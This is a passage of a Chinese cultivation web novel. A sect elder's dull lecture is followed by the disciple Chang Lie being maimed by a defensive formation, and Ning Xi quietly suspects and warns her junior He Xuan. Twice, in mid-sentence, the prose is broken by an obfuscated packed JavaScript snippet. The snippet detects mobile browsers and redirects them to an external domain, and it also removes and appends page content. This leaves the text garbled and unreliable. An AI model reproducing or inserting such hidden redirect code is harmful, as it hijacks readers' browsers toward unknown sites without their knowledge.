作为天凌宗第二十三代掌门人,梅净尘已入道五百余年,他修为至化神大圆满,光一个眼神便压迫感十足,常烈只觉得肩上忽地一重,鬓间立马沁出了几滴汗来。 众人察觉出异样,全都默默低下脑袋。 梅净尘看着经受不住他的威压,被逼得半个身子都弯了下来的常烈,间隔几秒,而后淡淡地收回目光。 “各位坐吧。” 话音刚落,常烈肩头一轻,身上的威压收了回去。 梅净尘只字不提他们殿内争吵的事,只是略带惩戒常烈后,便转头提起了别的,“今日,先由谷长老为尔等授课。” 说罢,梅净尘为大长老谷正显让出了最中央的位子。 谷正显盘坐于蒲团之上,他顺着白胡须,笑容慈祥,“那便由我先来。世人皆知万物运行有其规律和法则,而修仙之路本就是逆天而行,雷劫心魔,因果纠缠……” 一刻钟后。 天机阁内渐渐有人坐不住了。 此番授课,谷正显将重点落在有些枯燥无聊的心法篇上,加之他嗓音本就沙哑含糊,时而讲着讲着,又跑题绕到他年轻时的一些经历,言语间都在吹嘘自己。 简直是催眠大课。 陆时逍又打了个哈欠,眼皮快要阖上时,余光中的贺玄轻轻偏头,看向了坐姿笔直的宁惜。 “别看了,师姐在神游根本没听。” 闻言,贺玄眼眸一眯。 眼前的宁惜眉眼安宁,呼吸几乎微不可察,如同睁眼睡着了一般,以他前世的经验来看,实在不像是简单发呆,反而更像是……元神出窍。 这个想法一冒出来,贺玄不禁迟疑了。 元神出窍少说也得修炼至化神期,先不说宁惜的修为要与掌门梅净尘齐肩,元神出窍时,本体便是无魂的躯壳,此时最为脆弱。 宁惜不设禁制,当着天机阁众人的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316319|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就随意出窍? 耳畔,天凌宗的那位大长老还在自吹自捧,贺玄稍作沉思,正欲伸手。 一旁的宁惜忽然开口说了句:“认真听长老授课,不要分心看我。” “……” 贺玄缩回手,“是,师姐。” 约莫两个时辰,此次长老授课结束。 殿内的所有亲传弟子拜别后,陆续离开了天机阁。岳归衍看着走出殿门的宁惜,正要跟上去,身后的梅净尘叫住了他。 “师兄,你还有事?” “嗯。”梅净尘看着还算规矩的岳归衍,想起他收的那五个亲传徒弟,长叹道,“师弟,今日常烈那番话虽说难听了些,却也是事实。” 岳归衍不反驳,“我知道。” “收亲传并非小事,你如今掌管栖云峰上下事务,怎可还像年轻时那般任性胡来?如此你怎能服众?” “师兄教导得是。”岳归衍依旧不反驳, “……” 梅净尘看着岳归衍每次都是这副训话不反驳,回去不改变的德行,气就不打一处来,“你的修为停在元婴初期有近百年了,我记得你那大徒弟还在筑基?” 听见梅净尘提及宁惜,岳归衍疑惑抬头,“师兄,我的事与宁惜有何关联?” “你当真不明白我的意思?” 梅净尘长眉一竖,隐约有动气的意思,旁边的明情不禁插嘴道,“师弟。师兄这是训斥你不思进取,你在我们这一代中修为排行最低,你那徒弟也是……” 岳归衍:“哦。” “你!”梅净尘一见他这样,气得要把手旁的香炉扔岳归衍身上。 “师兄你别生气啊。”岳归衍见好就收,“你知道我这个人的,就算我一门心思扑修炼上,我的修为也赶不上你和二师兄还有三师姐啊!况且我之前便说了,宁惜曾救过我一命,那年我下山历练,出发去……” 见岳归衍又要拿那点陈芝麻烂谷子的事来说,梅净尘双眼一闭,“你滚吧。” “好嘞。” 明情看着接受到指令乐呵呵走了的岳归衍,无奈地叹了口气。 梅净尘看向一旁安静的容叙,出声说道,“今日回去,你也务必要好好教导常烈一番,阿衍收徒弟几时轮得到他置喙了?” “是,师兄。”容叙低眉,也不反驳。 “还有……”梅净尘看着脸色苍白,愈发病骨支离的容叙,想到他这些年因为大徒弟的逝去,始终没走出来,到底还是心软了,“算了,你先回去吧。” “是。” 说完,容叙让身后的人推着他离开了天机阁。 目送病弱的容叙离去,梅净尘这才收回目光,深叹一口气。 明情与梅净尘师兄妹几百年,自然知晓她这师兄在担忧什么。 “总归是小辈们之间的小打小闹,师兄不必忧心。等容师兄放下心结,定能管好常烈,至于阿衍……”明情一顿,实在不知该怎么说了,“师尊在世时也曾说过,阿衍有他自己的机遇。” “但愿如此吧。” 梅净尘眉头紧皱,心里总觉得今日之事不会这么轻易翻篇,而事实证明,他的预感从不出错。 当晚。 常烈误入阵法,半条胳膊被当场斩断。 15. 第 15 章 常烈出事前。 宁惜带着四人从天机阁出来,便径直回了栖云峰。 路上,几人因为常烈的事兴致都不太高。 陆时逍看了眼冷着一张脸的赵今遥,最终选择凑到心情还算不错的贺玄身边。 回想常烈在殿内说过的那些话,陆时逍好心出声安慰贺玄,“师弟,今日常烈师兄的话你别往心里去啊!他就那性子,看我们这些轻松拜为亲传的弟子不顺眼,不过他人也不坏,只是嘴上不饶人。” 贺玄笑着,“我知道,三师兄。” “那就好!总归咱们与他见面的机会少,以后大不了避开就是。” “嗯。” 无论陆时逍说什么,贺玄都只点头赞同。 见状,陆时逍顿觉无趣,他瞥向走在最前头的宁惜,背手小声说道:“只是我没想到,师姐居然为了你,出言回击常烈师兄。” “常师兄的确过分,师姐是为了整个栖云峰。”贺玄纠正他。 “师姐从前可不会管这些事。” 贺玄神色一顿,他抬眼看着前方宁惜的背影。 也许是长老授课的缘故,她今日总算是换上了平时不爱穿的宗门校服,可惜腰间仍然是一片空荡,没有任何腰饰与环佩,甚至连乾坤袋都没系上。 与平常无异,她依旧是用两支白玉簪简单地盘了个发髻。 如同她怕麻烦的性子一般,装扮更是简洁干净,贺玄的目光掠过宁惜发间飘动的那根素白发带。 “师姐从前是什么样的人?” “嗯?”贺玄的突然发问,让陆时逍一时间没反应过来,“师姐她么?” “对。” 陆时逍认真回忆了一番,“我初到内门的第一年,只远远地见过师姐几面。那会儿觉得她性子冷淡不好相与。后来拜入栖云峰做亲传,才发觉师姐比想象中要好相处得多,她大多时候性子温和,没什么脾气,偶尔也能与我们打成一片。唯一的缺点大概就是毫无上进心了吧?” “不过,”陆时逍摊手,“这在我们栖云峰也许算不上?” “那师姐拜入宗门之前呢?” “以前的事师姐并未提及过。我只听师尊说,师姐曾救过他一命,然后师尊看她天资不凡便将她带回了天凌宗。” 贺玄沉思片刻,不说话了。 “你总问师姐的事做什么?”陆时逍眼眸闪过一丝警惕,他偏过身子,装作饶有兴趣地看着贺玄。 贺玄低头一笑,“师姐先前救我一命,今日又帮着我说话,她是这世上唯一一个对我这么好的人。” “对你好?”陆时逍像是想到了什么,也跟着笑起来,“确实,师姐可不会平白无故对一个人好。” “……” 各自回到院中,正好酉时。 自从贺玄来她院中,宁惜每晚也会跟着他吃点东西。 见宁惜躺在树下,随手拿起她早间没看完的那本话本,贺玄自觉挽起袖子去了厨房。用过晚膳,宁惜躺回去接着看话本,贺玄清扫桌面又跑去洗碗。 不知过了多久,等贺玄走回院中时。 外围迎仙岭处突然传来一阵轻微的阵法波动,动静极小,几乎微不可察。 宁惜轻轻皱眉,倏地抬眸看向了身后的贺玄。 贺玄唇边带着笑意,抬首问她,“师姐为何如此看我?” “你方才出去过。” 听着宁惜话中的肯定,贺玄面不改色,他平静反驳,眼底没有一丝慌乱:“没有。师姐不是说过么?你去哪儿,我才能去哪儿。” “……” 宁惜看了他一眼,正欲起身,赵今遥带着慕湘和陆时逍闯进了她的院中。 “师姐,不好了!” 赵今遥神色匆匆,她的视线扫过宁惜身旁的贺玄,似乎微微松了口气,才接着说道,“观堇峰那边出事了。常烈不知为何误闯了宗门为抵御魔道设下的阵法,他虽躲避及时,保住一条命,可手臂却断了半只。” 闻言,宁惜在心里轻轻地叹了口气。 一会儿功夫没看住贺玄,他就能给她惹出这么大的麻烦来。 “我记得宗门还有高阶再生丹?” 常烈才金丹,修为不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316320|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足以能让断肢再生。 “嗯。”赵今遥点头,“已经服下了。不过常烈坚称自己是被一黑衣人引过去的,容师叔动了好大的怒,他带着整个观堇峰的弟子都去了迎仙岭,还说要亲自把这人揪出来。” 宁惜听得头疼。 她正开口想再问多点消息,眼前的陆时逍抢先说道: “师姐。一般人到不了迎仙岭,更不会如此熟悉阵法设在何处,此人极有可能是我们宗门之人。可常烈师兄午后才与我们起过口舌之争,偏偏晚上就出事了……” 剩下的话陆时逍并未说出口,在场几人却已明了。 常烈断手之事如若找不到真凶,定然会怀疑到她们栖云峰来。 赵今遥蹙眉,她怀疑地看着贺玄,“今日从天机阁回来后,你便一直待在师姐身边?从未离开过?” “二师姐这话是在怀疑我?”贺玄眼中有着不可置信,神情间隐约有些伤心,他望向宁惜,“师姐也认为此事是我所为么?” “贺玄一直在我身边,不是他。” 有宁惜替他做担保,赵今遥三人的神色当即缓和了不少,只不过想到这事没完,她们不禁皱起眉头。 “好了。” 宁惜出声打断她们几人的思绪,“这件事今晚未必能有着落,先回去休息吧,有什么明日再说。” “是,师姐。” 三人应下,听话地离开了宁惜的院中。 目送着几人的身影走远,贺玄才一收回视线,身后的宁惜忽地开口问了句:“你没留下痕迹吧?” “……” 贺玄眼神微顿,他委屈地回过头,“师姐不是相信我么?” “你不愿说便算了。” 宁惜不接话茬,她只说,“这次是常烈活该,但之后不准再动手。你是我带回来的人,再有下次,以后都不要出卧房。” “听明白了么?” 宁惜的语气十分平静,她眸中倒映着清冷的月色,而比月色更清冷的是她那双不夹杂一丝情感的眼眸。 贺玄不自觉低首,“知道了……师姐。”